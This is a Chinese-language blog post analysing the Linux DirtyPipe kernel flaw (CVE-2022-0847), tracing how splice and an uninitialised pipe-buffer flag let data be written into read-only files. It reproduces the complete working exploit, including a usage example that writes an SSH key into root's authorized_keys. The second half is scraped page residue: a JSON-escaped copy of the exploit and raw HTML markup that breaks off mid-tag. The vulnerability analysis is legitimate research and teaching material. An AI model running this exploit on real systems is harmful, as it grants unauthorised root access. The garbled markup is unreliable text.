DirtyPipe(CVE-2022-0847)漏洞分析

2022-12-28 15:44
6001

前言

CVE-2022-0847 DirtyPipe脏管道漏洞是Linux内核中的一个漏洞,该漏洞允许写只读文件,从而导致提权。

调试环境

  • ubuntu 20.04

  • Linux-5.16.10

  • qemu-system-x86_64 4.2.1

漏洞验证

首先创建一个只读文件foo.txt,并且正常情况下是无法修改该可读文件,但是利用了DirtyPipe漏洞后发现可以将字符aaaa写入到只读文件中

image-20221227160027149

漏洞分析

poc作为切入点,分析漏洞成因

首先poc创建了一个管道,管道缓冲区的默认大小为4096,并且拥有16个缓存区,因此再创建管道之后,poc首先要做的是将这16个管道缓冲区填满。

...
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
...

在进行管道写的操作时,内核是采用pipe_write函数进行操作,这里截取了关键部分,在进行管道写的时候会判断通过函数is_packetized去判断是否为目录属性,如果不是则将缓冲区的标志位设置为PIPE_BUF_FLAG_CAN_MERGE,这个标志位非常关键,是导致漏洞成因,因此poc为了使16个管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位,因此选择循环16次, 并且将每个管道缓冲区都写满。

image-20221227161042200

随着poc将管道内的数据全部读出,为了清空管道缓冲区,在进行管道读的过程中,内核采用的是pipe_read函数,在整个管道读的过程中是不会修改管道的标志位的,因此PIPE_BUF_FLAG_CAN_MEGE标志位依旧存在

...
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
...

紧接着是触发漏洞的关键函数,splice函数,用于移动数据,此时fd指向我们想读取的文件,对应上述的foo.txt只读文件,p[1]指向的是我们的管道符。

...
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
...

在调用splice函数时,内核在某个阶段会调用copy_page_to_iter函数,可以看到当管道满了之后就没办法通过splice函数往管道内继续输入数据,那么splice函数就无法正常执行了,因此需要清空管道内的数据。

image-20221227162317690

后面则到达了漏洞发生的代码,由于我们使用splice函数进行数据的移动,在内核中不是选择将数据直接从文件中拷贝到管道中,而是将文件所在的物理页直接赋值给管道缓冲区所对应的页面。

image-20221227162727269

这里记录一下物理页的地址

image-20221227162927180

最后就是再次调用管道写的操作,但是这里实际会写入只读文件内部

...
nbytes = write(p[1], data, data_size);
...

由于已经通过splice函数移动数据到管道缓冲区古内部了,因此管道不为空会进入到455行的内部处理逻辑

image-20221227163143710

最终到达了往只读文件写入的操作,这里看到了PIPE_BUF_FLAG_CAN_MERGE这个标志位的作用,该标志位就是会将数据合并,使得后续管道写的操作会继续向之前的管道缓冲区对应的物理页面继续写入,写入的操作是通过copy_page_from_iter(buf->page,offset,chars,from)函数进行完成的,该函数实际就是将from对应的数据写入到buf->page

image-20221227163326700

可以看到buf->pagepage地址是完全一样的,这就导致我们将数据写入修改到foo.txt文件中

image-20221227163549082

补丁

补丁页比较简单,在获取物理页的同时把管道缓冲区的标志位清空,就不会导致后面对管道进行写操作的时候进入合并数据流的流程

image-20221227164411448

总结

DirtyPipe攻击流程

  • 将所有管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位

  • 清空管道缓冲区

  • 使用splice函数获取文件所对应的物理页

  • 使用pipe_write函数对拥有PIPE_BUF_FLAG_CAN_MERGE标志位的处理,对获得文件对应的物理页进行写入操作,从而达到对只读文件写入的操作

DirtyPipe利用的限制

  • 对文件有读权限,因为splice函数会首先判断对文件是否有可读权限,若无则无法正常执行

  • 由于DirtyPipe是对文件对应的物理做覆写操作,因此不能修改超过文件本身大小的数据,以及文件的第一个字节无法被修改(因为splice函数需要移动至少一字节数据)

  • 由于DirtyPipe是对物理页进行修改,因此修改数据大小也不能超过一页

完整的poc

/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1
\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

/* fill the pipe completely; each pipe_buffer will now have
  the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

/* drain the pipe, freeing all pipe_buffer instances (but
  leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

/* the pipe is now empty, and if somebody adds a new
  pipe_buffer without initializing its "flags", the buffer
  will be mergeable */
}

int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}

/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}

if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}

/* create the pipe with all flags initialized with
  PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);

/* splice one byte from before the specified offset into the
  pipe; this will add a reference to the page cache, but
  since copy_page_to_iter_pipe() does not initialize the
  "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}

/* the following write will not create a new pipe_buffer, but
  will instead write into the page cache, because of the
  PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}

printf("It worked!\n");
return EXIT_SUCCESS;
}
\\nssh-ed25519 AAA......\\n'\r\n *\r\n * Further explanation: https:\u002F\u002Fdirtypipe.cm4all.com\u002F\r\n *\u002F\r\n \r\n#define _GNU_SOURCE\r\n#include \u003Cunistd.h\u003E\r\n#include \u003Cfcntl.h\u003E\r\n#include \u003Cstdio.h\u003E\r\n#include \u003Cstdlib.h\u003E\r\n#include \u003Cstring.h\u003E\r\n#include \u003Csys\u002Fstat.h\u003E\r\n#include \u003Csys\u002Fuser.h\u003E\r\n \r\n#ifndef PAGE_SIZE\r\n#define PAGE_SIZE 4096\r\n#endif\r\n \r\n\u002F**\r\n * Create a pipe where all \"bufs\" on the pipe_inode_info ring have the\r\n * PIPE_BUF_FLAG_CAN_MERGE flag set.\r\n *\u002F\r\nstatic void prepare_pipe(int p[2])\r\n{\r\n if (pipe(p)) abort();\r\n \r\n const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);\r\n static char buffer[4096];\r\n \r\n \u002F* fill the pipe completely; each pipe_buffer will now have\r\n   the PIPE_BUF_FLAG_CAN_MERGE flag *\u002F\r\n for (unsigned r = pipe_size; r \u003E 0;) {\r\n unsigned n = r \u003E sizeof(buffer) ? sizeof(buffer) : r;\r\n write(p[1], buffer, n);\r\n r -= n;\r\n }\r\n \r\n \u002F* drain the pipe, freeing all pipe_buffer instances (but\r\n   leaving the flags initialized) *\u002F\r\n for (unsigned r = pipe_size; r \u003E 0;) {\r\n unsigned n = r \u003E sizeof(buffer) ? sizeof(buffer) : r;\r\n read(p[0], buffer, n);\r\n r -= n;\r\n }\r\n \r\n \u002F* the pipe is now empty, and if somebody adds a new\r\n   pipe_buffer without initializing its \"flags\", the buffer\r\n   will be mergeable *\u002F\r\n}\r\n \r\nint main(int argc, char **argv)\r\n{\r\n if (argc != 4) {\r\n fprintf(stderr, \"Usage: %s TARGETFILE OFFSET DATA\\n\", argv[0]);\r\n return EXIT_FAILURE;\r\n }\r\n \r\n \u002F* dumb command-line argument parser *\u002F\r\n const char *const path = argv[1];\r\n loff_t offset = strtoul(argv[2], NULL, 0);\r\n const char *const data = argv[3];\r\n const size_t data_size = strlen(data);\r\n \r\n if (offset % PAGE_SIZE == 0) {\r\n fprintf(stderr, \"Sorry, cannot start writing at a page boundary\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;\r\n const loff_t end_offset = offset + (loff_t)data_size;\r\n if (end_offset \u003E next_page) {\r\n fprintf(stderr, \"Sorry, cannot write across a page boundary\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n \u002F* open the input file and validate the specified offset *\u002F\r\n const int fd = open(path, O_RDONLY); \u002F\u002F yes, read-only! :-)\r\n if (fd \u003C 0) {\r\n perror(\"open failed\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n struct stat st;\r\n if (fstat(fd, &st)) {\r\n perror(\"stat failed\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n if (offset \u003E st.st_size) {\r\n fprintf(stderr, \"Offset is not inside the file\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n if (end_offset \u003E st.st_size) {\r\n fprintf(stderr, \"Sorry, cannot enlarge the file\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n \u002F* create the pipe with all flags initialized with\r\n   PIPE_BUF_FLAG_CAN_MERGE *\u002F\r\n int p[2];\r\n prepare_pipe(p);\r\n \r\n \u002F* splice one byte from before the specified offset into the\r\n   pipe; this will add a reference to the page cache, but\r\n   since copy_page_to_iter_pipe() does not initialize the\r\n   \"flags\", PIPE_BUF_FLAG_CAN_MERGE is still set *\u002F\r\n --offset;\r\n ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);\r\n if (nbytes \u003C 0) {\r\n perror(\"splice failed\");\r\n return EXIT_FAILURE;\r\n }\r\n if (nbytes == 0) {\r\n fprintf(stderr, \"short splice\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n \u002F* the following write will not create a new pipe_buffer, but\r\n   will instead write into the page cache, because of the\r\n   PIPE_BUF_FLAG_CAN_MERGE flag *\u002F\r\n nbytes = write(p[1], data, data_size);\r\n if (nbytes \u003C 0) {\r\n perror(\"write failed\");\r\n return EXIT_FAILURE;\r\n }\r\n if ((size_t)nbytes \u003C data_size) {\r\n fprintf(stderr, \"short write\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n printf(\"It worked!\\n\");\r\n return EXIT_SUCCESS;\r\n}",pic:"https:\u002F\u002Fgitee.com\u002Fh0pe-ay\u002Fblogimages\u002Fraw\u002Fmaster\u002Fimage-20221227160027149.png",openTime:"2022-12-28T15:44:43+08:00",viewsNum:6001,content:"\u003Cp\u003E \u003C\u002Fp\u003E\u003Ch1\u003E前言\u003C\u002Fh1\u003E\u003Cp\u003E\u003Ccode\u003ECVE-2022-0847 DirtyPipe\u003C\u002Fcode\u003E脏管道漏洞是\u003Ccode\u003ELinux\u003C\u002Fcode\u003E内核中的一个漏洞,该漏洞允许写只读文件,从而导致提权。\u003C\u002Fp\u003E\u003Ch1\u003E调试环境\u003C\u002Fh1\u003E\u003Cul\u003E\u003Cli\u003E\u003Cp\u003E\u003Ccode\u003Eubuntu 20.04\u003C\u002Fcode\u003E\u003C\u002Fp\u003E\u003C\u002Fli\u003E\u003Cli\u003E\u003Cp\u003E\u003Ccode\u003ELinux-5.16.10\u003C\u002Fcode\u003E\u003C\u002Fp\u003E\u003C\u002Fli\u003E\u003Cli\u003E\u003Cp\u003E\u003Ccode\u003Eqemu-system-x86_64 4.2.1\u003C\u002Fcode\u003E\u003C\u002Fp\u003E\u003C\u002Fli\u003E\u003C\u002Ful\u003E\u003Cp\u003E \u003C\u002Fp\u003E\u003Ch1\u003E漏洞验证\u003C\u002Fh1\u003E\u003Cp\u003E首先创建一个只读文件\u003Ccode\u003Efoo.txt\u003C\u002Fcode\u003E,并且正常情况下是无法修改该可读文件,但是利用了\u003Ccode\u003EDirtyPipe\u003C\u002Fcode\u003E漏洞后发现可以将字符\u003Ccode\u003Eaaaa\u003C\u002Fcode\u003E写入到只读文件中\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" alt=\"image-20221227160027149\" src=\"https:\u002F\u002Fgitee.com\u002Fh0pe-ay\u002Fblogimages\u002Fraw\u002Fmaster\u002Fimage-20221227160027149.png\" width=\"720\" height=\"194.781\"\u003E\u003C\u002Fp\u003E\u003Ch1\u003E漏洞分析\u003C\u002Fh1\u003E\u003Cp\u003E以\u003Ccode\u003Epoc\u003C\u002Fcode\u003E作为切入点,分析漏洞成因\u003C\u002Fp\u003E\u003Cp\u003E首先\u003Ccode\u003Epoc\u003C\u002Fcode\u003E创建了一个管道,管道缓冲区的默认大小为4096,并且拥有16个缓存区,因此再创建管道之后,\u003Ccode\u003Epoc\u003C\u002Fcode\u003E首先要做的是将这16个管道缓冲区填满。\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E...\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Epipe\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E)) \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eabort\u003C\u002Fspan\u003E();\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Econst\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eunsigned\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Epipe_size\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efcntl\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E], \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EF_GETPIPE_SZ\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Estatic\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Echar\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E4096\u003C\u002Fspan\u003E];\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Efor\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eunsigned\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Epipe_size\u003C\u002Fspan\u003E; \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E;) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eunsigned\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003En\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Esizeof\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E?\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Esizeof\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E) : \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ewrite\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E], \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003En\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003En\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E...\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E在进行管道写的操作时,内核是采用\u003Ccode\u003Epipe_write\u003C\u002Fcode\u003E函数进行操作,这里截取了关键部分,在进行管道写的时候会判断通过函数\u003Ccode\u003Eis_packetized\u003C\u002Fcode\u003E去判断是否为目录属性,如果不是则将缓冲区的标志位设置为\u003Ccode\u003EPIPE_BUF_FLAG_CAN_MERGE\u003C\u002Fcode\u003E,这个标志位非常关键,是导致漏洞成因,因此\u003Ccode\u003Epoc\u003C\u002Fcode\u003E为了使16个管道缓冲区都设置\u003Ccode\u003EPIPE_BUF_FLAG_CAN_MERGE\u003C\u002Fcode\u003E标志位,因此选择循环16次, 并且将每个管道缓冲区都写满。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" alt=\"image-20221227161042200\" src=\"https:\u002F\u002Fgitee.com\u002Fh0pe-ay\u002Fblogimages\u002Fraw\u002Fmaster\u002Fimage-20221227161042200.png\" width=\"720\" height=\"343.4343434343434\"\u003E\u003C\u002Fp\u003E\u003Cp\u003E随着\u003Ccode\u003Epoc\u003C\u002Fcode\u003E将管道内的数据全部读出,为了清空管道缓冲区,在进行管道读的过程中,内核采用的是\u003Ccode\u003Epipe_read\u003C\u002Fcode\u003E函数,在整个管道读的过程中是不会修改管道的标志位的,因此\u003Ccode\u003EPIPE_BUF_FLAG_CAN_MEGE\u003C\u002Fcode\u003E标志位依旧存在\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E...\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Efor\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eunsigned\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Epipe_size\u003C\u002Fspan\u003E; \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E;) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eunsigned\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003En\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Esizeof\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E?\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Esizeof\u003C\u002Fspan\u003E(\u003Cspan 